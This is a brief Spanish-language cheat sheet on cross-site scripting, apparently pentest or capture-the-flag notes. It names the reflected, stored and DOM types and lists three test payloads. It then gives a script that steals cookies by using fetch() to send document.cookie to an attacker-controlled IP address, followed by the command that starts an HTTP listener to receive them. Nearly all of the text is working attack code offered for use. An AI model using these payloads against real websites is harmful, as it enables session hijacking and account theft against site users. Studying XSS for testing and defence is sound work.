Cross-Site Scripting (XSS)

Tipos

• Reflejado — el payload viaja en la petición y se refleja en la respuesta.
• Almacenado — el payload se guarda en el servidor (comentarios, perfiles).
• DOM — la ejecución ocurre en el cliente al manipular el DOM.

Payloads de prueba

<script>alert(1)</script>
<img src=x onerror=alert(1)>
"><svg onload=alert(1)>

Robo de cookies

<script>
fetch('http://10.10.14.5/c?='+document.cookie)
</script>

Levanta un listener para recibirlas:

python3 -m http.server 80